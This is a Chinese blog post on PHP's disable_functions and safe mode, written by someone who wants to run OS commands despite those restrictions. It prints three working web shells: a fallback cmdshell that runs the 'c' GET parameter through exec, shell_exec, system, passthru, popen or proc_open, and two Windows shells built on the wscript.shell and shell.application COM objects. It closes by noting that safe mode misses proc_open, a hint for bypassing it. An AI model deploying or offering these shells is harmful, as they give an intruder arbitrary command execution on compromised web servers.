PHP disable_function与safe mode

我只想执行操作系统命令,可是有disable_functions 和 安全模式的阻碍。

disable_functions

本指令允许你基于安全原因禁止某些函数,从 PHP 4.0.1 起可用。其默认值为空,接受逗号分隔的函数名列表作为参数。 disable_functions 不受安全模式的影响。 本指令只能设置在 php.ini 中。

可以通过以下这行代码获取disable_functions的值。


<?php echo ini_get('disable_functions');?>

PHP中可用于执行操作系统命令的函数:

exec
passthru
system
shell_exec
popen
proc_open
反单引号 `

注意:使用反引号运算符“`”的效果与函数 shell_exec() 相同。因此,反引号运算符在关闭了 shell_exec() 时是无效的。

下面是一个简易的cmdshell:

<?php
function exec_cmd($cmd)
{
	$res = '';
	if(function_exists('exec')){@exec($cmd,$res);$res = join("\n",$res);}
	elseif(function_exists('shell_exec')){$res = @shell_exec($cmd);}
	elseif(function_exists('system')){@ob_start();@system($cmd);$res = @ob_get_contents();@ob_end_clean();}
	elseif(function_exists('passthru')){@ob_start();@passthru($cmd);$res = @ob_get_contents();@ob_end_clean();}
	elseif(@is_resource($f = @popen($cmd,"r"))){$res = '';while(!@feof($f)){$res .= @fread($f,1024);}@pclose($f);}
	elseif(function_exists('proc_open')){$descriptorspec = array(0 => array("pipe", "r"),1 => array("pipe", "w"),2 => array("pipe", "w"));
	$process = proc_open($cmd, $descriptorspec, $pipes);if (is_resource($process)){ fwrite($pipes[0], '<?php print_r($_ENV); ?>');
	fclose($pipes[0]);$res=stream_get_contents($pipes[1]);
	fclose($pipes[1]);
	proc_close($process);}}
	return $res;
}
	echo "<pre>";
	echo exec_cmd($_GET['c']);
	echo "</pre>";
?>

如果是Windows的话,还可以使用COM组件来执行命令。

<?php
error_reporting(0);
function wsc_run($cmd){
	$shell = new COM("wscript.shell") or die("Failed to create COM object 'wscript.shell'.");
	$exe = @$shell->exec("cmd.exe /c ".$cmd);
	$out = $exe->StdOut();
	$output = $out->ReadAll();
	echo '<pre>'.$output.'</pre>';
	@$shell->Release();
	$shell = NULL;
}
echo "<pre>".wsc_run($_GET['c'])."</pre>";
?>

<?php
function shell_run($cmd){
	$shell = new COM('shell.application');
	echo (@$shell->ShellExecute("cmd.exe","/c".$cmd,"c:\windows\system32","",0) == '0') ? '命令执行失败' : '命令执行成功';
	$shell = NULL;
}
shell_run($_GET['c']);
?>

安全模式

PHP 的安全模式是为了试图解决共享服务器(shared-server)安全问题而设立的。在结构上,试图在 PHP 层上解决这个问题是不合理的,但修改 web 服务器层和操作系统层显得非常不现实。因此许多人,特别是 ISP,目前使用安全模式。 

注意:本特性已自 PHP 5.3.0 起废弃并将自 PHP 5.4.0 起移除。


在安全模式开启的情况下,函数exec、passthru、system、shell_exec、popen 将被限制或屏蔽。

其中shell_exec 将被禁用。而passthru、system、shell_exec和popen只能在 safe_mode_exec_dir 设置的目录下进行执行操作。

是不是发现漏掉了proc_open函数,是的就是这样。

先简单的了解到这里。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值